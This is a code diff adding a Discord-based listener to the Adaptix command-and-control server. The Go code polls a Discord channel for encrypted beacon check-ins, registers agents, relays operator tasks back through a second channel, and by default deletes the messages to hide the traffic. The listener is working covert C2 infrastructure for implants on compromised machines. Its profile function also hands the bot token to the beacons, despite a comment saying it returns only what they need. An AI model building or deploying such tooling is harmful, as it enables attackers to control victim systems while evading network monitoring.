diff --git a/AdaptixServer/extenders/beacon_listener_discord/Makefile b/AdaptixServer/extenders/beacon_listener_discord/Makefile new file mode 100644 index 00000000..448269b4 --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/Makefile @@ -0,0 +1,9 @@ +all: clean + @ echo " * Building listener_beacon_discord plugin" + @ mkdir dist + @ cp config.yaml ax_config.axs ./dist/ + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/listener_beacon_discord.so pl_main.go pl_transport.go + @ echo " done..." + +clean: + @ rm -rf dist diff --git a/AdaptixServer/extenders/beacon_listener_discord/ax_config.axs b/AdaptixServer/extenders/beacon_listener_discord/ax_config.axs new file mode 100644 index 00000000..4a381aa0 --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/ax_config.axs @@ -0,0 +1,90 @@ +/// Beacon Discord listener + +function ListenerUI(mode_create) +{ + // BOT TOKEN + let labelBotToken = form.create_label("Bot Token:"); + let textlineBotToken = form.create_textline(); + textlineBotToken.setPlaceholder("Discord bot token (server-side only)"); + textlineBotToken.setEnabled(mode_create); + + // CHANNEL IDS + let labelChannelBeacon = form.create_label("Beacon Channel ID:"); + let textlineChannelBeacon = form.create_textline(); + textlineChannelBeacon.setPlaceholder("Channel for beacon -> server messages"); + textlineChannelBeacon.setEnabled(mode_create); + + let labelChannelTasks = form.create_label("Tasks Channel ID:"); + let textlineChannelTasks = form.create_textline(); + textlineChannelTasks.setPlaceholder("Channel for server -> beacon tasks"); + textlineChannelTasks.setEnabled(mode_create); + + // WEBHOOK URL + let labelWebhook = form.create_label("Webhook URL:"); + let textlineWebhook = form.create_textline(); + textlineWebhook.setPlaceholder("https://discord.com/api/webhooks/..."); + + // POLL INTERVAL + let labelPollInterval = form.create_label("Poll Interval (seconds):"); + let spinPollInterval = form.create_spin(); + spinPollInterval.setRange(1, 60); + spinPollInterval.setValue(5); + + // CLEANUP + let checkCleanup = form.create_check("Delete messages after reading"); + checkCleanup.setChecked(true); + + // ENCRYPTION KEY + let labelEncryptKey = form.create_label("Encryption key:"); + let textlineEncryptKey = form.create_textline(ax.random_string(64, "hex")); + textlineEncryptKey.setEnabled(mode_create); + let buttonEncryptKey = form.create_button("Generate"); + buttonEncryptKey.setEnabled(mode_create); + + form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(64, "hex") ); }); + + // LAYOUT + let layoutMain = form.create_gridlayout(); + layoutMain.addWidget(labelBotToken, 0, 0, 1, 1); + layoutMain.addWidget(textlineBotToken, 0, 1, 1, 2); + layoutMain.addWidget(labelChannelBeacon, 1, 0, 1, 1); + layoutMain.addWidget(textlineChannelBeacon,1, 1, 1, 2); + layoutMain.addWidget(labelChannelTasks, 2, 0, 1, 1); + layoutMain.addWidget(textlineChannelTasks, 2, 1, 1, 2); + layoutMain.addWidget(labelWebhook, 3, 0, 1, 1); + layoutMain.addWidget(textlineWebhook, 3, 1, 1, 2); + layoutMain.addWidget(labelPollInterval, 4, 0, 1, 1); + layoutMain.addWidget(spinPollInterval, 4, 1, 1, 2); + layoutMain.addWidget(checkCleanup, 5, 0, 1, 3); + layoutMain.addWidget(labelEncryptKey, 6, 0, 1, 1); + layoutMain.addWidget(textlineEncryptKey, 6, 1, 1, 1); + layoutMain.addWidget(buttonEncryptKey, 6, 2, 1, 1); + + let panelMain = form.create_panel(); + panelMain.setLayout(layoutMain); + + let tabs = form.create_tabs(); + tabs.addTab(panelMain, "Main settings"); + + let layout = form.create_hlayout(); + layout.addWidget(tabs); + + let container = form.create_container(); + container.put("bot_token", textlineBotToken); + container.put("channel_beacon", textlineChannelBeacon); + container.put("channel_tasks", textlineChannelTasks); + container.put("webhook_url", textlineWebhook); + container.put("poll_interval", spinPollInterval); + container.put("cleanup", checkCleanup); + container.put("encrypt_key", textlineEncryptKey); + + let panel = form.create_panel(); + panel.setLayout(layout); + + return { + ui_panel: panel, + ui_container: container, + ui_height: 400, + ui_width: 650 + } +} diff --git a/AdaptixServer/extenders/beacon_listener_discord/config.yaml b/AdaptixServer/extenders/beacon_listener_discord/config.yaml new file mode 100644 index 00000000..7c1992e5 --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/config.yaml @@ -0,0 +1,7 @@ +extender_type: "listener" +extender_file: "listener_beacon_discord.so" +ax_file: "ax_config.axs" + +listener_name: "BeaconDiscord" +listener_type: "external" +protocol: "discord" diff --git a/AdaptixServer/extenders/beacon_listener_discord/go.mod b/AdaptixServer/extenders/beacon_listener_discord/go.mod new file mode 100644 index 00000000..7a5fead2 --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/go.mod @@ -0,0 +1,5 @@ +module adaptix_listener_beacon_discord + +go 1.25.4 + +require github.com/Adaptix-Framework/axc2 v1.2.0 diff --git a/AdaptixServer/extenders/beacon_listener_discord/go.sum b/AdaptixServer/extenders/beacon_listener_discord/go.sum new file mode 100644 index 00000000..8889bb84 --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/go.sum @@ -0,0 +1,2 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= diff --git a/AdaptixServer/extenders/beacon_listener_discord/pl_main.go b/AdaptixServer/extenders/beacon_listener_discord/pl_main.go new file mode 100644 index 00000000..692c13b2 --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/pl_main.go @@ -0,0 +1,243 @@ +package main + +import ( + "bytes" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "regexp" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +type Teamserver interface { + TsAgentIsExists(agentId string) bool + TsAgentCreate(agentCrc string, agentId string, beat []byte, listenerName string, ExternalIP string, Async bool) (adaptix.AgentData, error) + TsAgentProcessData(agentId string, bodyData []byte) error + TsAgentSetTick(agentId string, listenerName string) error + TsAgentGetHostedAll(agentId string, maxDataSize int) ([]byte, error) +} + +type PluginListener struct{} + +var ( + ModuleDir string + ListenerDataDir string + Ts Teamserver +) + +func InitPlugin(ts any, moduleDir string, listenerDir string) adaptix.PluginListener { + ModuleDir = moduleDir + ListenerDataDir = listenerDir + Ts = ts.(Teamserver) + return &PluginListener{} +} + +func (p *PluginListener) Create(name string, config string, customData []byte) (adaptix.ExtenderListener, adaptix.ListenerData, []byte, error) { + var ( + listener *Listener + listenerData adaptix.ListenerData + conf ConfigDiscord + customdData []byte + err error + ) + + /// START CODE HERE + + if customData == nil { + if err = validConfig(config); err != nil { + return nil, listenerData, customdData, err + } + + err = json.Unmarshal([]byte(config), &conf) + if err != nil { + return nil, listenerData, customdData, err + } + + conf.encryptKeyBytes, err = hex.DecodeString(conf.EncryptKey) + if err != nil { + return nil, listenerData, customdData, fmt.Errorf("invalid encrypt_key hex: %v", err) + } + + } else { + err = json.Unmarshal(customData, &conf) + if err != nil { + return nil, listenerData, customdData, err + } + + conf.encryptKeyBytes, err = hex.DecodeString(conf.EncryptKey) + if err != nil { + return nil, listenerData, customdData, fmt.Errorf("invalid encrypt_key hex: %v", err) + } + } + + transport := &TransportDiscord{ + Name: name, + Config: conf, + Active: false, + } + + listenerData = adaptix.ListenerData{ + BindHost: "discord", + BindPort: "0", + AgentAddr: conf.WebhookUrl, + Protocol: "discord", + Status: "Stopped", + } + + var buffer bytes.Buffer + err = json.NewEncoder(&buffer).Encode(transport.Config) + if err != nil { + return nil, listenerData, customdData, err + } + customdData = buffer.Bytes() + + listener = &Listener{transport: transport} + + /// END CODE HERE + + return listener, listenerData, customdData, nil +} + +func (l *Listener) Start() error { + + /// START CODE HERE + + return l.transport.Start(Ts) + + /// END CODE HERE +} + +func (l *Listener) Edit(config string) (adaptix.ListenerData, []byte, error) { + var ( + listenerData adaptix.ListenerData + conf ConfigDiscord + customdData []byte + err error + ) + + err = json.Unmarshal([]byte(config), &conf) + if err != nil { + return listenerData, customdData, err + } + + /// START CODE HERE + + l.transport.Config.WebhookUrl = conf.WebhookUrl + l.transport.Config.PollInterval = conf.PollInterval + l.transport.Config.Cleanup = conf.Cleanup + + listenerData = adaptix.ListenerData{ + BindHost: "discord", + BindPort: "0", + AgentAddr: l.transport.Config.WebhookUrl, + Status: "Listen", + } + if !l.transport.Active { + listenerData.Status = "Closed" + } + + var buffer bytes.Buffer + err = json.NewEncoder(&buffer).Encode(l.transport.Config) + if err != nil { + return listenerData, customdData, err + } + customdData = buffer.Bytes() + + /// END CODE HERE + + return listenerData, customdData, nil +} + +func (l *Listener) Stop() error { + + /// START CODE HERE + + return l.transport.Stop() + + /// END CODE HERE +} + +func (l *Listener) GetProfile() ([]byte, error) { + var buffer bytes.Buffer + + /// START CODE HERE + + // Return only what the beacon needs: webhook URL, channel IDs, poll interval, encrypt key + profile := map[string]any{ + "protocol": "discord", + "webhook_url": l.transport.Config.WebhookUrl, + "bot_token": l.transport.Config.BotToken, + "channel_beacon": l.transport.Config.ChannelBeacon, + "channel_tasks_id": l.transport.Config.ChannelTasks, + "poll_interval": l.transport.Config.PollInterval, + "encrypt_key": l.transport.Config.EncryptKey, + "cleanup": l.transport.Config.Cleanup, + } + + err := json.NewEncoder(&buffer).Encode(profile) + if err != nil { + return nil, err + } + /// END CODE HERE + + return buffer.Bytes(), nil +} + +func (l *Listener) InternalHandler(data []byte) (string, error) { + var agentId = "" + + /// START CODE HERE + + /// END CODE HERE + + return agentId, nil +} + +func validConfig(config string) error { + var conf ConfigDiscord + err := json.Unmarshal([]byte(config), &conf) + if err != nil { + return err + } + + if conf.BotToken == "" { + return errors.New("bot_token is required") + } + + if conf.ChannelBeacon == "" { + return errors.New("channel_beacon is required") + } + matchChan, _ := regexp.MatchString("^[0-9]+$", conf.ChannelBeacon) + if !matchChan { + return errors.New("channel_beacon must be a numeric Discord channel ID") + } + + if conf.ChannelTasks == "" { + return errors.New("channel_tasks is required") + } + matchChan, _ = regexp.MatchString("^[0-9]+$", conf.ChannelTasks) + if !matchChan { + return errors.New("channel_tasks must be a numeric Discord channel ID") + } + + if conf.WebhookUrl == "" { + return errors.New("webhook_url is required") + } + matchWebhook, _ := regexp.MatchString("^https://discord\\.com/api/webhooks/", conf.WebhookUrl) + if !matchWebhook { + return errors.New("webhook_url must be a valid Discord webhook URL") + } + + if conf.PollInterval < 1 || conf.PollInterval > 60 { + return errors.New("poll_interval must be between 1 and 60 seconds") + } + + match, _ := regexp.MatchString("^[0-9a-f]{64}$", conf.EncryptKey) + if len(conf.EncryptKey) != 64 || !match { + return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)") + } + + return nil +} diff --git a/AdaptixServer/extenders/beacon_listener_discord/pl_transport.go b/AdaptixServer/extenders/beacon_listener_discord/pl_transport.go new file mode 100644 index 00000000..3dc88fbf --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/pl_transport.go @@ -0,0 +1,394 @@ +package main + +import ( + "crypto/aes" + "crypto/cipher" + "encoding/base64" + "encoding/binary" + "encoding/json" + "errors" + "fmt" + "io" + "net/http" + "strings" + "sync" + "time" +) + +type Listener struct { + transport *TransportDiscord +} + +type ConfigDiscord struct { + BotToken string `json:"bot_token"` + ChannelBeacon string `json:"channel_beacon"` + ChannelTasks string `json:"channel_tasks"` + WebhookUrl string `json:"webhook_url"` + PollInterval int `json:"poll_interval"` + Cleanup bool `json:"cleanup"` + EncryptKey string `json:"encrypt_key"` + + // Derived (not serialized to JSON) + encryptKeyBytes []byte `json:"-"` +} + +type TransportDiscord struct { + Name string + Config ConfigDiscord + Active bool + stopChan chan struct{} + client *http.Client + mu sync.Mutex +} + +// Discord API message structure +type DiscordMessage struct { + Id string `json:"id"` + Content string `json:"content"` +} + +// Discord API send message body +type DiscordSendBody struct { + Content string `json:"content"` +} + +const ( + discordAPIBase = "https://discord.com/api/v10" + // Discord rate limit: 5 requests / 2 seconds per channel + apiDelay = 500 * time.Millisecond + // Max message content size (Discord limit is 2000 chars, base64 overhead ~33%) + maxMessageSize = 1900 +) + +func (t *TransportDiscord) Start(ts Teamserver) error { + t.mu.Lock() + defer t.mu.Unlock() + + if t.Active { + return errors.New("transport already active") + } + + // Decode encrypt key + var err error + if len(t.Config.encryptKeyBytes) == 0 { + return errors.New("encrypt key not initialized") + } + + t.client = &http.Client{ + Timeout: 30 * time.Second, + } + + t.stopChan = make(chan struct{}) + t.Active = true + + fmt.Printf(" Started listener '%s': discord (beacon=%s, tasks=%s, poll=%ds)\n", + t.Name, t.Config.ChannelBeacon, t.Config.ChannelTasks, t.Config.PollInterval) + + go t.pollLoop(ts) + + _ = err + return nil +} + +func (t *TransportDiscord) Stop() error { + t.mu.Lock() + defer t.mu.Unlock() + + if !t.Active { + return nil + } + + close(t.stopChan) + t.Active = false + fmt.Printf(" Stopped listener '%s': discord\n", t.Name) + return nil +} + +func (t *TransportDiscord) pollLoop(ts Teamserver) { + ticker := time.NewTicker(time.Duration(t.Config.PollInterval) * time.Second) + defer ticker.Stop() + + for { + select { + case <-t.stopChan: + return + case <-ticker.C: + t.pollMessages(ts) + } + } +} + +func (t *TransportDiscord) pollMessages(ts Teamserver) { + messages, err := t.getMessages(t.Config.ChannelBeacon) + if err != nil { + fmt.Printf("[discord:%s] Error polling beacon channel: %v\n", t.Name, err) + return + } + + for _, msg := range messages { + content := strings.TrimSpace(msg.Content) + if content == "" { + continue + } + + t.processMessage(ts, msg) + + // Rate limit delay between processing messages + time.Sleep(apiDelay) + } +} + +func (t *TransportDiscord) processMessage(ts Teamserver, msg DiscordMessage) { + content := strings.TrimSpace(msg.Content) + + // The beacon sends messages as: base64(beat_data) + "|" + base64(body_data) + // Using | separator instead of \n (newline breaks JSON content) + parts := strings.SplitN(content, "|", 2) + if len(parts) == 0 { + return + } + + beatB64 := strings.TrimSpace(parts[0]) + var bodyB64 string + if len(parts) > 1 { + bodyB64 = strings.TrimSpace(parts[1]) + } + + // Decode beat + beatCrypt, err := base64.StdEncoding.DecodeString(beatB64) + if err != nil || len(beatCrypt) < 5 { + fmt.Printf("[discord:%s] Failed to decode beat from message %s: %v\n", t.Name, msg.Id, err) + goto CLEANUP + } + + { + agentType, agentId, beat, err := t.decryptBeat(beatCrypt) + if err != nil { + fmt.Printf("[discord:%s] Failed to decrypt beat from message %s: %v\n", t.Name, msg.Id, err) + goto CLEANUP + } + + // Decode body data if present + var bodyData []byte + if bodyB64 != "" { + bodyData, err = base64.StdEncoding.DecodeString(bodyB64) + if err != nil { + fmt.Printf("[discord:%s] Failed to decode body from message %s: %v\n", t.Name, msg.Id, err) + goto CLEANUP + } + } + + // Create agent if new + if !Ts.TsAgentIsExists(agentId) { + _, err = Ts.TsAgentCreate(agentType, agentId, beat, t.Name, "discord", true) + if err != nil { + fmt.Printf("[discord:%s] Failed to create agent %s: %v\n", t.Name, agentId, err) + goto CLEANUP + } + } + + // Update tick + _ = Ts.TsAgentSetTick(agentId, t.Name) + + // Process body data + if len(bodyData) > 0 { + _ = Ts.TsAgentProcessData(agentId, bodyData) + } + + // Get pending tasks for this agent + responseData, err := Ts.TsAgentGetHostedAll(agentId, 0x1900000) // 25 MB + if err != nil { + fmt.Printf("[discord:%s] Failed to get tasks for agent %s: %v\n", t.Name, agentId, err) + goto CLEANUP + } + + // Send tasks back via tasks channel + if len(responseData) > 0 { + encoded := base64.StdEncoding.EncodeToString(responseData) + + // Discord messages have a 2000 char limit, split if needed + err = t.sendChunkedMessage(t.Config.ChannelTasks, encoded) + if err != nil { + fmt.Printf("[discord:%s] Failed to send tasks to agent %s: %v\n", t.Name, agentId, err) + } + } + } + +CLEANUP: + // Delete the processed message if cleanup is enabled + if t.Config.Cleanup { + time.Sleep(apiDelay) + err := t.deleteMessage(t.Config.ChannelBeacon, msg.Id) + if err != nil { + fmt.Printf("[discord:%s] Failed to delete message %s: %v\n", t.Name, msg.Id, err) + } + } +} + +func (t *TransportDiscord) decryptBeat(ciphertext []byte) (string, string, []byte, error) { + block, err := aes.NewCipher(t.Config.encryptKeyBytes) + if err != nil { + return "", "", nil, errors.New("aes cipher error") + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", "", nil, errors.New("gcm error") + } + + nonceSize := gcm.NonceSize() + if len(ciphertext) < nonceSize+gcm.Overhead() { + return "", "", nil, errors.New("beat ciphertext too short") + } + + nonce, ct := ciphertext[:nonceSize], ciphertext[nonceSize:] + plaintext, err := gcm.Open(nil, nonce, ct, nil) + if err != nil { + return "", "", nil, errors.New("aes-gcm decrypt error") + } + + if len(plaintext) < 8 { + return "", "", nil, errors.New("beat plaintext too short") + } + + agentType := uint(binary.BigEndian.Uint32(plaintext[:4])) + agentId := uint(binary.BigEndian.Uint32(plaintext[4:8])) + beat := plaintext[8:] + + return fmt.Sprintf("%08x", agentType), fmt.Sprintf("%08x", agentId), beat, nil +} + +// getMessages retrieves messages from a Discord channel using the Bot API +func (t *TransportDiscord) getMessages(channelId string) ([]DiscordMessage, error) { + url := fmt.Sprintf("%s/channels/%s/messages?limit=50", discordAPIBase, channelId) + + req, err := http.NewRequest("GET", url, nil) + if err != nil { + return nil, err + } + + req.Header.Set("Authorization", "Bot "+t.Config.BotToken) + req.Header.Set("Content-Type", "application/json") + + resp, err := t.client.Do(req) + if err != nil { + return nil, err + } + defer resp.Body.Close() + + if resp.StatusCode == 429 { + // Rate limited, back off + return nil, errors.New("discord rate limited") + } + + if resp.StatusCode != 200 { + body, _ := io.ReadAll(resp.Body) + return nil, fmt.Errorf("discord API error %d: %s", resp.StatusCode, string(body)) + } + + var messages []DiscordMessage + err = json.NewDecoder(resp.Body).Decode(&messages) + if err != nil { + return nil, err + } + + return messages, nil +} + +// sendMessage posts a message to a Discord channel using the Bot API +func (t *TransportDiscord) sendMessage(channelId string, content string) error { + url := fmt.Sprintf("%s/channels/%s/messages", discordAPIBase, channelId) + + body := DiscordSendBody{Content: content} + jsonBody, err := json.Marshal(body) + if err != nil { + return err + } + + req, err := http.NewRequest("POST", url, strings.NewReader(string(jsonBody))) + if err != nil { + return err + } + + req.Header.Set("Authorization", "Bot "+t.Config.BotToken) + req.Header.Set("Content-Type", "application/json") + + resp, err := t.client.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + + if resp.StatusCode == 429 { + return errors.New("discord rate limited") + } + + if resp.StatusCode != 200 && resp.StatusCode != 201 { + respBody, _ := io.ReadAll(resp.Body) + return fmt.Errorf("discord API error %d: %s", resp.StatusCode, string(respBody)) + } + + return nil +} + +// sendChunkedMessage splits a large message into Discord-compatible chunks +// Each chunk is raw base64 (no prefix) — the beacon concatenates all chunks +// in order (oldest first) and base64-decodes the result. +// Chunks are split at 4-byte boundaries to keep valid base64. +func (t *TransportDiscord) sendChunkedMessage(channelId string, content string) error { + if len(content) <= maxMessageSize { + return t.sendMessage(channelId, content) + } + + // Split at base64-safe boundary (multiple of 4) + chunkSize := (maxMessageSize / 4) * 4 // round down to 4-byte boundary + + for len(content) > 0 { + end := chunkSize + if end > len(content) { + end = len(content) + } + + chunk := content[:end] + content = content[end:] + + err := t.sendMessage(channelId, chunk) + if err != nil { + return fmt.Errorf("failed to send chunk: %v", err) + } + + time.Sleep(apiDelay) + } + + return nil +} + +// deleteMessage removes a message from a Discord channel +func (t *TransportDiscord) deleteMessage(channelId string, messageId string) error { + url := fmt.Sprintf("%s/channels/%s/messages/%s", discordAPIBase, channelId, messageId) + + req, err := http.NewRequest("DELETE", url, nil) + if err != nil { + return err + } + + req.Header.Set("Authorization", "Bot "+t.Config.BotToken) + + resp, err := t.client.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + + if resp.StatusCode == 429 { + return errors.New("discord rate limited") + } + + // 204 No Content is the expected success response for DELETE + if resp.StatusCode != 204 && resp.StatusCode != 200 { + respBody, _ := io.ReadAll(resp.Body) + return fmt.Errorf("discord API error %d: %s", resp.StatusCode, string(respBody)) + } + + return nil +} diff --git a/AdaptixServer/go.work b/AdaptixServer/go.work index 9ac15ecb..8d90f65c 100644 --- a/AdaptixServer/go.work +++ b/AdaptixServer/go.work @@ -7,6 +7,7 @@ use ( ./extenders/beacon_listener_http ./extenders/beacon_listener_smb ./extenders/beacon_listener_tcp + ./extenders/beacon_listener_discord ./extenders/gopher_agent ./extenders/gopher_listener_tcp ) diff --git a/AdaptixServer/profile.yaml b/AdaptixServer/profile.yaml index d303f712..d0157c30 100644 --- a/AdaptixServer/profile.yaml +++ b/AdaptixServer/profile.yaml @@ -14,6 +14,7 @@ Teamserver: - "extenders/beacon_listener_smb/config.yaml" - "extenders/beacon_listener_tcp/config.yaml" - "extenders/beacon_listener_dns/config.yaml" + - "extenders/beacon_listener_discord/config.yaml" - "extenders/beacon_agent/config.yaml" - "extenders/gopher_listener_tcp/config.yaml" - "extenders/gopher_agent/config.yaml"